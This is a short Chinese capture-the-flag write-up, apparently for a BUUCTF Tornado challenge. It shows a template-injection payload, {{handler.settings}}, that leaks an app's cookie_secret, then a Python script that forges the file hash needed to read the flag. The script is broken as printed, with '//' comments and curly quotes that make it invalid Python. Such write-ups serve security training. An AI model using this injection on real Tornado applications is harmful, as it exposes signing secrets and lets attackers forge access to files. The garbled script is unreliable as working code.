解题突破点:
发现每个url后面都有一个filehash
hints.txt中提示md5(cookie_secret+md5(filename))
而flag.txt中提示flag in /fllllllllllllag
猜测flag就在fllllllllllllag文件中,关键找出cookie_secret
这里用到render()函数(生成模板的函数,想到模板注入STTI)
直接将要读取的文件名修改为fllllllllllllag
发现报错页面
在读取文件失败的这个链接中,发现STTI漏洞
测试发现有过滤,过滤的特殊字符有
"%'()*-/=[\]_|
参考师傅的博客https://blog.csdn.net/weixin_44037296/article/details/105078717
通过handler.settings对象获取cookie_secret的值,即:
handler指向RequestHandler
RequestHandler.settings指向self.application.settings
所以handler.settings最终指向RequestHandler.application.settings
xxx.buuoj.cn/error?msg={{handler.settings}}
脚本:
import hashlib
hash = hashlib.md5()#获取一个md5加密算法对象
filename=‘/fllllllllllllag‘
cookie_secret="0567b8eb-21bc-4c25-861f-481b36239643"
hash.update(filename.encode(‘utf-8‘))
s1=hash.hexdigest()//返回摘要,作为十六进制数据字符串值
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode(‘utf-8‘))
print(hash.hexdigest())//hash.hexdigest()
返回摘要,作为十六进制数据字符串值